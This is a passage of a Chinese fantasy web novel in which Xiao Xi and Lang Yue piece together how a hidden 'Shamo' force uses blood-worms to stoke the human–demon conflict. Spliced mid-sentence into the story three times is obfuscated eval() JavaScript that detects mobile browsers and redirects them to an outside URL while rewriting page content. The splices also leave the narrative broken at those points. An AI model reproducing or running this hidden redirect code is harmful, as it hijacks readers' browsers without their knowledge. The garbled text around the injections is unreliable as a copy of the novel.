他再度因萧喜而心悸不已。 126. 剑灵之境(1) 萧喜尽量用最简洁的语言,将她在最后一次去往苏府祠堂时用血咒寻剑后,进入的那个近百年前的世界幻境后,在其中发生过的一切过往,通通告诉了朗月,并且她将那段经历称为“剑灵之境”。 她说的话里,包括了几百年前人妖对立如何得以激化,又如何衍生出影响当时乃至后世的世间大局;包括了那时妖族少氏七兄弟的悲惨遭遇,以及少五和少七究竟是如何活下来的…… 包括了少五如何被原本封印中的那只黑影妖利用的;包括了少五如何杀死少七从而交换身体的;包括了少七如何重返人间变成“芍七”的…… 包括了百年前还被称作豫县的沧凌城是如何的模样;包括了“芍七”如何遇到了豫县益山村坊的阿霖姑娘的…… 包括了“芍七”最后如何被以仙机门为首的各大修真门派错当凶手后,被封印入剑的;包括了最后黑影妖又如何同两百年前的仙机门门主合作,再将少五封到黑影妖怪原来待过的上古封印中的…… 而那个上古封印便是前不久刚被毁掉的苏府祠堂的封印…… 说完这些后,萧喜也很难喘过气来,更别提对面的朗月了。 芍七这一辈子过得真的太苦了,只因为他是妖的身份就活该遭受万般谴责和虐杀。 而他的哥哥并非不爱他,却因为生计,被迫走头无路,从而被心怀歹意的黑影妖利用和控制……最后亲手杀了他爱护的幼弟…… 意外活过来的芍七早已变了模样,他不再是从前那个灵魂和□□双全又契合的少七。 他本就没有过错,但因为忘记了很多事情,就只能由这具罪恶的躯体,为他补给根本就不属于他的记忆。 杀人者是身,无辜者是魂。 芍七只能活在这样矛盾的身躯和灵魂的嵌合体之中,不断地怀疑自己,一步一步走向万劫不复的深渊。到了尽头时,还因为这具不属于他的躯体,而被迫认那个不属于他的命运。 所以,他的潜意识里,从始至终都想找回那个曾经的真实而鲜活的自己。 尽管他忘记了很多事情,但在被封印的那一刻还是在一瞬间记起来了,他不甘心,不认命,但却无力改变。于是,他会将记忆封存进深渊,不想任由那把封印他的黑柄剑将它们消除。 他那具原本的躯体如今被少五占有,被封印在了安置于祠堂壁龛上的另一把封印之剑上。 身体和灵魂的契合,这般强悍的联系销毁了两把封印之剑的分界感,将它们融合于一体,于是世间不再有邪念丛生的罪恶之剑,也不会有那把埋葬了芍七诸多伤心事的黑柄剑。 这就是为什么萧喜在那个夜晚唤动血符时,本是要寻找的是那把封印少五的剑,最后看到的却是被铺天盖地的红光包裹着的,那把两相融合却又两不相像的剑了。 这把融合之剑唤醒了芍七所有的记忆,也因此困住了他。 而萧喜要做的,就是解开芍七的心锁,完成融合之剑那刳心雕肾般的愿望——让他的主人,芍七,找到真正的自我,那个灵魂和身体共存相契的自我。 萧喜她最后做到了,而随之带来的结果就是,芍七从世间消失,少七获得重生。 所谓重生,代表无数的意义,不仅仅是突破百年岁月的桎梏后让身体重归本体后的圆满结局,也更是放下过往岁月恩恩怨怨后的平静。 至于,芍七到底恨不恨他的哥哥少五?或许恨过,但真正的始作俑者真的是少五吗?少五的处境能比他好多少呢? 他已经明白,这世间,搅动风云的分明是躲在背后,处心积虑而唯恐天下不乱的贪欢者。 他们利用人心妖念缔造出愈来愈深的仇恨,从而挑起两族纷争,为的便是想要在纷争之中夺得胜者之利,从而构建那个他们想要的只有人族或是只有妖族存活的世界。为此,他们不惜一切代价,哪怕致使本族无数无辜者命丧黄泉也在所不辞……他们或许忘记了,世间那么大,何时连两方族人都容不下了呢? 但事已至此,少五已经堕入作恶多端的万丈深渊,少七纵是千般不愿,也必须亲手将他杀死,告慰那群遭遇池鱼林木的亡魂们…… 至此,萧喜便不再说了。 …… 岸城烟火不落,今晚的沧凌城比往日还要闹腾些。兴许是那些曾经身患血蠕之人如今重归康健后,过于欣喜,在城中欢天喜地不已,这就免不得一阵闹腾了。 萧喜和朗月原本呆着的这处靠岸的较为清净的地方,也开始有更多的人往此处涌入了,因此,他们便在这格外喧嚷的环境下显得格格不入。 自从萧喜将那些话说完后,朗月便一直保持着沉默,但这种沉默和之前的完全不同,而且表现得还很超乎萧喜的预料。 因为,她本以为朗月听完芍七这些悲惨过往后,轻的面露悲色,稍重的也是要和午后她看见的那样,落泪一番。 可是,朗月如今的表现分明两者都不占,他的沉默并非源于难过后的失语,而是源于陷入无限疑惑后的凝重。 朗月想起了庆阳镇的那个夜晚,青灯说的那句当时他无法理解的话—— “当真是敌我同源,目的相同,或许……又有些不同,仿若都在暗自争夺这偌大天下。” …… 数百年前,人妖纷争……延续至今,引发过无数暴动和血腥的杀戮。 修真门派出世之前,妖族之中的贪欢者欺压人族百姓,仇恨因此奠基,人心最是难测,面对苦难时,历史便会开始扭曲,妖族的名声全体败坏,不分好坏,于是光是利用人心便足以让人妖两族大开杀戒。 歪曲的历史指向了“妖物便是祸害”的真理。 修真门派横空出世,成为赢家,修改历史,因那一句他们口口相传的“妖物便是祸害”的真理,便会致使过度压迫妖族的情况出现,如此便又再一度拉深了仇恨。于是此事落到妖族眼里,人族的名声亦是被败坏了个彻底,人族心祸难测,妖族更会理所当然地说,看啊,这就是人族,阴晴不定,不分好坏,喜好厮杀。 因果轮回,层层加叠,何以不恨?此恨,难以消解,只会一直加重,祸害一代又一代无辜的人们和无辜的妖们。 而躲藏在“歪曲的历史”、“真理”等等浮于表面之物下的,其实是人妖两族处心积虑之人想要争夺天下的野心。 为了这种野心,他们不会允许人妖两族和平共处的情况发生。为了这种野心,他们需要无数可怜的无辜者流干血液。 人妖对立……人妖对立…… 哪里是什么两族对立? 分明是贪婪者把无辜者当成枪使的手段…… 若说非要立个仇恨,那只能说是,贪婪好争者与无辜者之间的仇恨。 可惜的是,无辜者至死也要被蒙在鼓里,活在真正的有心之人布下的血腥密谋里,听风使舵着…… 除了詹远和青灯两只妖给他过冲击认知的事实以外,同样身为妖物的芍七也无不将同样的事实灌输给了朗月。 本来,自从他遇到青灯后,他就猛然发现,青灯的话几乎能与平台镇詹远话中的言外之意完全契合。 两个相隔甚远且毫无联系的妖说出的话如此相像,细究后也完全发觉不了任何破绽,无论是地点还是时间,都能与朗月接触过的现实对接清楚。 所以,在沧凌城呆着的很多日子里,他也不得不怀疑起了曾经绝对不敢冒犯的仙机们,还有师父。 而今,芍七身份的显现,在给予他重大打击的同时,也给他带来了更加凝重的疑心。 这个世间究竟在发生着什么? 仙机们究竟在隐瞒什么? 师父……从前说的,真的都是对的吗? 萧喜看他久久不说话,不得已主动打破了僵局:“你……在想什么?” 朗月被她叫回神,便道:“鹬蚌相争,渔翁得利。在这副拨云诡谲的天下棋盘之中,究竟谁是渔翁?” “有人在掩世间之人、之妖的耳目。贪欢者掩无辜者之耳目,而渔翁却并不一定是贪欢者。我隐约感到,事情远没有我们想的那么简单。” 萧喜微微怔住,显然是被朗月开脱的思路引到了一块认知盲区之中,她不懂就问:“何出此言?我……一直以为,渔翁便是那些为了争夺天下而不惜残害生灵的贪欢者。” 朗月摇了摇头,郑重道:“非也,在‘鹬蚌相争,渔翁得利’的道理中,相争者乃鹬蚌,是为两派势力,而得利者渔翁则必须为唯一势力。所以,同样人妖相争的贪欢者不可能是渔翁,反而只能是鹬蚌。渔翁另有其人。 在最后对抗少五的时候,乱雨高空之上,我亲眼所见,芍七变成了一副明媚少年郎的模样,又化作金羽翮鸟扶摇直上。 他说,少五让他转告一事给我——血蠕不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744334|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会止息,刹摩即将出世,就在盛京。” “又是盛京……”萧喜沉声暗道。 朗月说道:“金瑶蒂因三侨而被困盛京,被苏府祠堂封印着的少五又将种种线索指向盛京,我奉师父之命前往沧凌城……后而通向的终点又必然是盛京。” 以及,他的生母也在盛京……朗月心中默念。 “渔翁就在盛京,还是个可怕的家伙。” 萧喜顿了顿,又忽然想起来了什么,赶忙道:“我想到在平台镇的最后一刻,詹远还跟我说过,他知道我要的金瑶蒂就在盛京,但是他却警示我不可直接去那里寻人,因为去了就是送死。他给我的建议是,让我先去沧凌城,才能再去盛京,他说过沧凌城将有大变。” 朗月听罢也稍稍愕然,他道:“平台镇之后,师父与我说和詹远一般无二的话,让我尽快去沧凌城。” “于是,我们在此再度相遇,事末,还察觉到了这些不为人知的的秘。”萧喜说道。 莫名之间,她好似嗅到了所谓宿命的气息。她觉得,她与朗月的相遇相识相知绝没有那么简单,以至于是绝不可用“缘分”二字就能轻飘飘地带过的。 他们之间的联系,仿佛很早之前就在冥冥之中注定好了,他们如今走到这一步,好似也是有人站在背后故意安排下的。 朗月紧接着萧喜的话头,继续道:“这也不止一次地打破过我的认知。我已经意识到,自己在很多年前就踏入了纷争之局中。对于人妖两族纷争的理解,我理所应当地觉得妖物就应当被斩除干净,我的立场,在最初的时候就默认站在了人族修真门派这边。” “六年前的庆阳镇大劫之中,所有人都告诉我血蠕是妖物,师父借此让我对妖族深恶痛绝。然而,自从我遇到了詹远、青灯、萧喜你,还有经历沧凌城封印一事后,我才明白,血蠕并非妖物,更非人族之物。 我与一众门中弟子因血蠕而生出的仇妖之心,本就毫无立脚之地。有人在利用血蠕,加重人妖两族的嫌隙。那个人,便是渔翁。 还记得我们之前推测过的苏府祠堂封印背后另有其人之事么?” 萧喜忙道:“自然记得,我们之前都理所当然地觉得封印之中的少五才是幕后黑手,还觉得外面包裹着的齐芒星阵会是少五自保的手段。 后来我们才意识到,黑雾与齐芒星阵不可能出自同一人之手,更不可能出自同一方势力。 反而,能操控黑雾的少五和创建齐芒星阵的人是分别处于对立面的势力。 而真正的幕后黑手一直躲在少五和齐芒星阵的背后,通过柳芊芊利用我们错将少五当成幕后黑手,错把齐芒星阵作为掩护少五的罪恶之力。从而让我们去主动冲击齐芒星阵,最后帮少五毁灭束缚他的东西,助他逃脱封印,危害四方。” “你方才说的剑灵之境也表明了,齐芒星阵是几千年前,乃至上万年前便存在过的上古法阵,目的就是钳制封印之中的罪孽之身。”朗月接道。 萧喜自以为她的脑子已经转得飞快,却还是有些懵,她的思路被卡在某处,而关卡下面就是关键之处。 这样卡壳的现状给她一种真相近在咫尺却又无法触及的感觉,搞得她格外恼火,她烦躁地抹了把额头,悒悒不乐地说道:“那接下来到底还说明了什么?分析到现在,我也就是明白了血蠕是渔翁得利的手段,而那个渔翁恰巧不巧就在盛京,但这和刹摩出世有什么关系?莫非他们就是渔翁? 刹摩……刹摩……在剑灵之境中,我其实听过刹摩的名号,但压根不明白这究竟是什么? 他的定义是什么?难道就跟人族和妖族一样,也是一个种族吗? 可自古至今,我从未听说过天底下还有个叫刹摩的种族的!非人非妖,血蠕如此,刹摩也该如此么? 还有,那个藏在沧凌城封印背后的幕后黑手,究竟是何方神圣?难道,也是刹摩?可是,少五他不是妖么?怎么跟刹摩产生联系的?百年前,唯一与少五产生联系的不是那个黑影妖怪么?” 萧喜真心觉得自己的认知观被彻底打碎了,未知的种族,未知的秘密,延续了千年…… 可让她觉得细思极恐的是,既然刹摩能有上千上万年的历史,为什么天底下,半点有关他们的记载都不曾有?就连他们手中的同样非人非妖的怪物——血蠕,作怪多端至今,世间修真门派也无不称之为妖物。 127. 剑灵之境(2) “等等,黑影妖怪……”萧喜忽地愣住,她模糊地记得剑灵之境中这个黑影妖怪他是自称……上古影魔的。 萧喜也意识到,她因为认知上的疏漏,而顺其自然地将那个她见过的非人之物称作了妖,但剑灵之境中从未有任何迹象表明过那个浑身黑雾缭绕的怪物是妖物,并且在那样一个修真门派成熟的年代,那个怪物的存在也从未引起过他们的关注。更甚者,在最后那个怪物找到百年前的仙机门门主谈合作的时候,门主也并未反对。 她记得,那时候的修真门派可谓是对妖物深恶痛绝,若是这怪物真是妖,怎样也逃不过堂堂一派之主的眼皮子。 或许她还会怀疑青灯那样因被封印身魂而致使妖气消失的现象会在此时出现,可一旦细想,就会发现这根本就不可能。 沧凌城血蠕肆虐之时,萧喜和朗月都明显感觉到城中有妖气弥散,而恰巧此时,苏府祠堂的封印正在松动。这就说明了,这种封印并不能像青灯的那样,可以让妖气消散。 同理,百年前的那个影魔也正面临封印动摇的局面,若他和少五一样都是妖物的话,妖气绝对不会被掩藏。 所以,那个黑影魔到底是怎样跟那时候的仙机门和谈上的?不得不说,其中一个原因定然是黑影魔提出的条件很合胃口,但更具有权威性的又恰巧容易被人忽视的一个原因就是——这个怪物根本就不是妖,他是个非人非妖之物! 在事态紧急且毫无退路的局势下,面对超出认知且非妖族的事物,仙机门的门主与之合作也是预料之中的事情。 按照萧喜刚刚的思路推断下去,这个黑影魔,便就应该归属于刹摩这一族系。 于此,少五和刹摩扯上关系的说法就完全站稳了脚步了。 萧喜的话不仅震惊到了自己,也吸引了朗月极大的注意力。 “既然那个怪物自称影魔,那你还记得在剑灵之境中,他说的其他话吗?” “我试着想一想,”萧喜深呼一口气,双手捂住耳朵,以此隔开身边滔滔不绝的喧嚣声,从而更好地静下心来,集中注意力去检索记忆。 “我记得,影魔在闯入少五的心境后,说了些很难让人理解的话……他介绍他自己的身份,说他是上古影魔,终身效力于刹摩大人,万年前,刹摩大人殒命毗邻山,他被终身囚禁在了古剑中不得超生。后又因什么东西异动了,他耗费几百年的力气让囚禁他的上古封印松动了。他说,他特地分出一丝魂魄出来寻找怨念深重者顶替他的位置,他才能真正逃离封印的控制。而他找到的那个人选,就是少五了。” 朗月沉默了半晌,思索良久后才说道:“也就是说,上古法阵存在了上万年,而其中封印着的影魔也存在了上万年,也就是说刹摩也已经存在了上万年。” 这些都是不久前萧喜心中恐惧过的事情,她点头说道:“没错,我刚刚也想过这些。” 如此大的时间跨度足以叫人在历史的洪流之上架起一条亘古之桥,千年……万年……这段恐怖而庞大的年份,似乎浑身上下罩着不近人情的冷酷铁墙,叫人光是远远地瞻望它一番,也能被锃亮而寒凉的光芒闪瞎。 朗月和萧喜不过都只是十几岁的少年少女,他们甚至觉得仅仅是触碰这段上古秘密的边缘,也会受到无形之中的压迫——来自神明和恶鬼的低语,对他们随意亵渎秘密的警告。他们为自己的渺小感到了后怕。 他们都开始觉得有心而无力,有些想了结这个话题的念头。 朗月率先岔开了这个话题:“影魔刹摩的身份极为关键,而且还让我想到了你说过的三侨。” 萧喜问道:“何出此言?” “六年前,三侨虽因怨恨你和萧吉兄妹二人而做了一盘棋局,试图让你们互相仇恨。但跳出棋局,你似乎还忽略了一件事情,当然,我也明白庆阳镇大劫给你带来了极大的冲击,所以被引走了注意力,你没有对此深究,也是情理之中的事情。” “什么……事情?” “三侨的目的至始至终都是金瑶蒂,报复你们只是出于顺手之意,而这些顺手之意恰恰掩盖了最主要的事情。还有,我若是想得不错,三侨之所以怨恨你们兄妹二人应该完全不像你说的那样,仅仅出于以往那些在丐帮里勾心斗角的小事。” 朗月的话让萧喜顷刻醍醐灌顶,她忙肯定道:“没错。在七年前,准确来说,就是七年前年末的最后一日,除夕,哥哥当时本是要追赶三侨的,但后来忽然有说他要救人。我当时整个人都是懵的,就跟着哥哥去找他所说的那个要救的人,也就是金瑶蒂。最后在天亮后的黎明下,我跟着哥哥找到了人后,惊奇地发现,哥哥说的那个身陷危难之中的金瑶蒂跟三侨在一起,三侨似乎非常慌乱,他绑着金瑶蒂,驾着马想要出镇。 哥哥当时直接就冲过去了,我看着他、金瑶蒂还有三侨三个人都坠入了冰面下,不久后,哥哥抱着金瑶蒂出来了,而三侨则再没有出现。我当时问过哥哥,他只告诉我,别担心,三侨已经死了。如今想来,哥哥说出此话的时候,语气冷淡得惊人,让我觉得他简直像是换了个人一般。” “三侨对你们最大的仇恨,就是认为你们害死了他。” 朗月沉声道,他盯着身侧被灯火照得明晃晃的河水,不久后他又开口问道;“对了,除夕事后,三侨死了,丐帮里的人应该也会关注这些,你们当时身为目击者,是如何表现的?” 萧喜闻言,原本苍白而平静的眉眼上顿时显现出不知所措的模样:“我们……当时,因为事后哥哥脑袋昏沉过半日,自此以后他就告诉我,他完全记不得之前发生的具体事情,只记得个头尾,还是模糊的,最后就连三侨死了的事情都是我向他描述清楚的。 后来,帮主回来,发现三侨没有如期将缴纳的帮票上交过去,非常生气,当时帮主也在全丐帮打听三侨的下落,我和哥哥却没有将三侨的死讯公布。因为当时我们两个都心有疑窦,觉得如果他们作为第一时间发现三侨死讯的人,容易遭人怀疑。于是,我们直接将除夕前夜青坊街发生的部分事情说了出去,想着这样既能邀功还能洗脱嫌疑。 最后,谁承想帮主真的凭借我们说出的那些零碎的事情,寻到了丢失的帮票。我们也确实如愿以偿,帮主因为帮票之事赏识我们,还因为我们两个都是孩子,就觉得我们可怜,对我们降低警惕心,然后我们才得以钻空子逃出帮派控制,获得自由。” “自由在丐帮存在着什么样的意义?”朗月好似察觉到了关键之处,他问道。 萧喜眼神晃了晃,低声说道:“自由是至高无上的。一般进入丐帮的都是走投无路的家伙,或是像我和哥哥这种从小就没爹没娘的小孩,一旦入帮就再也不能与之脱离干系,一生都要听从帮主差遣,除了办事以外一生都不能离开所属地。而且,呆在丐帮里,就必须接受弱肉强食的原则,所以小时候的我和哥哥都经常被欺负,而且被欺负了也不能动手,更不能逃跑。说起来,我哥哥也因此格外憎恨三侨。” “所以,三侨恨的不仅仅是你们害死了他,也是觉得你们的自由是牺牲了他才得到的,而自由至高无上,也是三侨曾经最想得到的东西。” “一切都是有因可循的,三侨变成那样……我和哥哥都有责任。万事万物有因便必有果,而最后他的报复,似乎也是在我们做出那样的事情后理应得到的果。” 萧喜并非因此觉得三侨多么可悲,更不可能对他心生怜悯之心。她只是觉得,命运这种东西,真的拥有骇人的力量,精准地对标一项基本的准则,分毫不差地执行这样的准则,并将所有人摆布,运筹帷幄。 朗月洞悉了她的心绪,于是说道:“尽管如此,三侨也做了有悖天理的事情,可怜之人必有可恨之处,不必为这种人感怀。” “所以,三侨在出事前就打算绑走金瑶蒂,但由于你们的干扰没有成功,反而丢了性命。后来,第二年的夏季,三侨又忽然凭空出现,并且找到你,拿你哥哥的事情威胁你亲手将金瑶蒂交给他。而金瑶蒂之事能够指向的线索便也仅有一个——盛京,当时,你的血蠕明显是三侨从他体内转移给你的,血蠕此物对于人体来说可谓是无孔不入,所以三侨不可能不被之侵害。这就说明了当时的三侨也一定患有血疾。刚刚初步推测过,血蠕非人非妖的性质完全可以跟刹魔对等。” “另外,就三侨和金瑶蒂的问题上看,他们两个人之前完全没有交集, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“早在这些疑问之前,我就已经梳理过一个很重要的事情,那就是,我发现三侨的目标至始至终都是一致的。无论是除夕死前,还是次年夏季的重生,他一直都没有放过金瑶蒂,他一直都想要将她送到盛京去。我说过,他哪怕是吃过了失去生命的亏,也还要坚持完成这个艰难的任务。 如果三侨被控制的契机真的源于除夕的那场死亡,那么在除夕前,他为什么还要坚持去完成这个任务?别忘了,这个任务只能是拥有血蠕操控之术的刹魔才有资格去布置的。” 萧喜又一下子精神了起来,因为朗月最后这段话算是叫她听得明明白白的,她瞪大双眼,连肿胀的眼皮都被她扯得一下子没了惰性:“等等!等等!我知道你是什么意思,你是说三侨在除夕之前就被血蠕控制了!你知道我为什么最开始就能察觉到沧凌城将有血蠕之变吗?在没遇到你之前就知道! 因为,在六年前的庆阳镇,我和哥哥去青坊街找到三侨的时候,我亲眼看到他对着火光神神叨叨地说自己害怕被虫子吃,说自己杀了人,但是被逼迫的,而且,他给我的感觉很奇怪,他一副既渴望火光又畏惧火光的模样特别矛盾。 后来庆阳镇出事后,我也慢慢意识到了血蠕的存在。沧凌城中,我看到身患血疾并且已经病入膏肓的张老先生,和济世堂内遇到的那个年轻男人,同样是一副跟三侨畏惧火光的模样时,我就顿时反应了过来。 在将沧凌城患病之人和三侨联系起来后,我就知道了三侨口中的虫子就是血蠕,而血蠕的弱点之一就是畏火。毕竟我在六年前就见识过被血蠕控制过的三侨的模样,所以我理所应当地认为三桥除夕前做出的那些疯子般的举动会是他感染血蠕的前兆。 但我从来没有去设想,在除夕前三侨就已经被血蠕感染了。我一直以为,三侨的那场死亡才是让他被仇恨蒙蔽上眼、让血蠕上身的契机。” “三侨那场所谓的除夕之死,很可能是障眼法。我感觉,有人在故意隐瞒什么,甚至隐瞒的对象明确就是你,萧喜。”朗月也深深吸了一口气。 “障眼法?”萧喜艰难地吞了一口唾沫,她发觉自己喉咙干得异常,可她也发现桌上茶壶里的水已经被她倒得一干二净。 “我必须要确认一件事。除夕那天,三侨真的死了么?这个问题必须重新审视,你也必须抛开一切脑中积淀过的所谓事实的东西。因为这些‘事实’很可能是有心之人,借助障眼法让你所以为的东西,它们不一定是真的。所以,三侨究竟是假死,还是真死?” 128. 剑灵之境(3) 朗月说罢,主动拢了拢袖,将自己面前的那杯他还未动过的茶水送到萧喜面前去。 “是真死,这是毋庸置疑的。不然我也不会蠢到被人耍了六年。要不是今天你跟我讨论,我估计到现在还被蒙在鼓里。”萧喜也没跟他客气,端着那杯被他送来的茶水,一饮而尽。 一盏茶水下去,喉咙宛如荒漠深处顷刻间就被滋润成了开遍山花的绿原,因为生怕脑子里的思路会被打断,她不敢耽搁任何时间,着急忙慌地放下杯子后,说道:“你知道我为什么在那样含糊不清的情况下,就敢确认三侨真的死过吗? 按照常理来说,我在六年前那个夏季第二次看到三侨的时候,虽然脑中不解,一个被认定已经死去的人为什么还能活生生地站在我的面前。 但在当时,对于还对神鬼妖魔一窍不通的普通人来说,我是绝对不会去想三侨会跟话本子里的鬼怪一样,会用什么邪术魂穿尸体之类的事情,只会觉得,三侨很可能根本没有死过,就跟你现在觉得的一样。 可是,现实是,六年前我与三侨相见时的第一面的那个深夜,他一直不断逼我看他那副千疮百孔的脸,还一直强调,他是好不容易才复生成这样的,让我必须盯着他看。那是非常变态且疯癫的场面,就算暗曹营没给我加强记忆,这些画面我也记得很清楚。 ‘复生’这个词很关键,直接说明了除夕那天三侨的确死过,还是真正意义上身魂腐败的死亡。” 朗月默住,半晌后才说话:“所以,三侨背后的那个刹摩在除夕之前就早已打算动手。金瑶蒂一直是刹摩利用三侨的主要人物,且不谈金瑶蒂在其中究竟有什么惊人的价值,但我认为如果刹摩真的想要得到金瑶蒂,拥有如此能耐的他肯定会想尽一切办法完成这件事,除夕那日根本不可能让三侨错失良机,更不谈再让三侨复生这种多此一举的事情发生。 我也从那场除夕之死中察觉到了微妙的气息。我觉得,刹摩之所以会在除夕之前就控制三侨,是因为他早就预想好了下面要发生的一切,预料到三侨在除夕的行动不会得逞,预料到三侨会和你们兄妹二人相遇,甚至预料到了三侨的死亡。 换句话来说,真正的策划三侨之死的人,就是他这个刹摩。 刹摩巧妙地扭转局势,让三侨忽视掉他的存在后,理所当然地觉得害死他的人是你和哥哥。” 在朗月说话的间隙里,萧喜没忍住说到她关注到的重点:“因为刹摩安排好了三侨的死,所以他才要提前用血蠕控制了他。” 朗月应道:“没错。” “为……为什么?” 萧喜慌了神,不知道什么时候,她的注意里就全在朗月身上了。 她甚至感觉自己已经听不到周身嘈杂依旧的喧嚣声,也已经无法感觉到唇边因干涩而发裂的不适感,她的感官似乎和当初隐没在苏府祠堂的漫天黑雾里一般,被如数剥夺……不,还不能这么说,起码她的眼睛还是有作用的,如今的她,眼中所见之人唯有朗月一人。 “因为这样可以方便三侨复生。在三侨死前在身体里种入血蠕,宿主身死而血蠕不死,刹摩只需动动手指,强化这些血蠕,让宿主重新活过来便不会是难事。 而且,这种复生,会将一个人彻底摧毁,因为宿主的生命必须要由这些血蠕供养,也必须要由血蠕牵制,而血蠕存在的意义就是吞噬邪念,一旦出现这种现象,就等于宿主要不断地依靠血蠕的邪念苟活。 作为代价,血蠕必须啃噬宿主的身躯,一旦失去了利用价值之后,血蠕就会脱离宿主,宿主也必须死亡。 那时候的‘人’真的还算人么?他们已经成为了任由邪念操控的怪物。三侨因为价值的特殊,所以刹摩才会破例给了他一些能自我操控的神智。一般情况下,同样用血蠕‘复生’的人们只会像庆阳镇的百姓们一样,神志不清,迅速死去。 庆阳镇大劫的那个夜晚,全镇百姓的暴动也是由此造成的。我和师父早已发现血蠕的种子已经散布大周很多地方,隐藏在百姓的体内,等待被它们当作宿主的这些百姓死亡,再反客为主,控制宿主。 只是,庆阳镇的情况格外特殊,百姓们因血蠕而起的暴动提前了太多。所以,萧喜你在那晚灾难前遇到的看似正常的百姓,其实早就已经被杀死了,那些看似活生生的人们早已变成了血蠕的傀儡。” 萧喜已经完全呆愣住了,如果朗月说的这些都是真的,那么在六年前的那个晚上,参与那场喧闹而热潮不断的烟火会的百姓其实都是死人……那个经常卖金瑶蒂糖葫芦的李伯伯也早已变成了一具没有思想和灵魂的尸体。 那些欢声笑语和李伯伯脸上真挚和善的笑容……都不存在。 可那一切……都是那样真实地存在过……却都是假的。 萧喜恍惚地想着,她不知道自己身边究竟还有什么东西,是真真切切的了。 这世间对她来说,是如此残酷。 夜风忽地从岸边吹来,朗月不禁眯了眯眼睛,那微眯的双眼下藏意味不明的幽光,他暗暗感叹一句:“真是缜密的逻辑。” 看萧喜还在迷茫,朗月便继续说下去:“如此多的证据都说明了一点,刹摩醉翁之意不在酒,他真正的目的绝对不是将金瑶蒂送到盛京那么简单,他是想借助此事伪造出一副假象,这副假象格外成功,因为它骗过了你很多年。 你至今都在纠结的事情无非就两件,一是三侨在那场血蠕的腥风血雨中害死了你哥哥,也让金瑶蒂生死未卜;二是你一直记着金瑶蒂的安危,从而不惜一切也要去救她,从而安抚你心中的创痕。 刹摩他真正的目的恐怕不是金瑶蒂,而是你。 再让我想想……若我是刹摩,在六年前的庆阳大劫里我一定还会想方设法,让你从我身上移开注意力,你根本意识不到我的存在,也根本无法怀疑我。 而那些我让你从我身上移开的注意力,不会消失,还会尽数转移到三侨身上,我会让你觉得,同样身患血疾的三侨不仅给你也带来了血疾之痛,还让全庆阳镇都陷入了血蠕的暴动。你会觉得,三侨是让灾难发生的源头。虽然你一直怨恨的是自己,但我可以猜到,你的潜意识里的确是这样想过三侨的。 如此以来,你的仇恨完完全全可以指向三侨。 萧喜,你认真地告诉我,你现在抑或是从前,是这么想过吗?” 朗月与萧喜对上视,她是茫然无措的,他知道这些事实当着她的面说出来不仅仅是残忍的,也是十分不给她面子的。但若是现在不把话说清楚,萧喜以后面对这些的时候,受到的伤害绝对会更上一层楼。 他必须赶在灾难来临之前,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朗月很快就回到了原本思考的问题上,说道:“若刹摩真正的目标是你,且我们刚刚说过的所有思路都能正常运作且符合现实的话。 我们不妨把所有的思路结合起来,并假设其为一只结构复杂的孔明锁,在这样庞大且环环相扣的结构里,若要整只锁都能严丝合缝并毫无差错地运行起来,那么一块枢纽都不可以省略,哪怕它只是锁中内部细小而不可见的部分。 关键就在此,一个细小,而近乎无法察觉的事情正穿插在其中。于是,我想,我们还忽略了计划中的其中一环。然而,此环节必不可少,且一直存在。” 朗月的眸光又亮了几分,刚刚那种微妙的意味不明的气息退散了不少。他在认真思考时,全身都会散发着清冷而凛然的气度,这种气度将他极致的智慧和谋略渲染到极致,让人情不自禁折服于他,这种折服无需任何理由。 朦胧夜色撒清辉,翩翩少年披霜雪……当真是迷人无比,又让人觉得万分神秘,这种神秘感总是不断地激起旁人对他的探索欲,这并不仅限于他口中莫测的言论,也包括他这个人的本身。 萧喜目光半分移不开他,并忍不住口吃了起来:“还差的那一环……是……是什么?” “是你的哥哥,萧吉。”少年眸光明朗,其中蕴含着浩瀚的智慧。 129. 剑灵之境(4) 朗月放快语速,继而说道:“虽然三侨已经成为了刹摩计谋上的主心骨,但这个主心骨最重要作用就是让你入计。可是,无缘无故下,你怎么会与之牵扯上?而且为了不让计划出现纰漏,三侨就不能亲自把你拉到他身边去,从而入局。在这种情况下,唯一行得通的就是让萧喜你身边的人从中牵线搭桥,令你和三侨扯上干系。 六年前的你,身边唯一信得过的人,就是有着血缘之亲的哥哥萧吉。 我将这个思路带入到六年前除夕前发生的历史里去,三侨刚好和萧吉有因帮子纷争而起的恩怨,所以刹摩完全可以利用这一点并毫无痕迹地唆使三侨抓住这些负面情绪,做些不利于你们的事情,并成功拉动萧吉和他之间的仇恨,如此就能成功带动你参与进去。三侨为此做的不利于你们的事情,定然也不会让你们毫无退路,毕竟刹摩还给你们准备了下一步的打算。 你知道这意味着什么吗? 那时已经身受血蠕烦扰的三侨很多时候都会因仇恨丧失理智,他被无形中挑起了邪念,就像当年他挑起你对金瑶蒂的邪念一样……在那种被邪念蒙蔽双目的情况下,你觉得他做起事情来会特地给你们留后手么?” “当然不会。”萧喜陷入沉思,她认真回答。 “那么,刹摩究竟要怎么做才能让你们在这样看似死局的情况里寻到退路?他绝对会在萧吉身上寻找突破口,而时至今日,我们已知且仅知刹摩的行动,是靠血蠕控制相关人物执行下来的。 故而,我想,萧吉在那个时候不仅仅是让他和你摆脱困局的推手,而且早已成为了被血蠕操控邪念的傀儡。 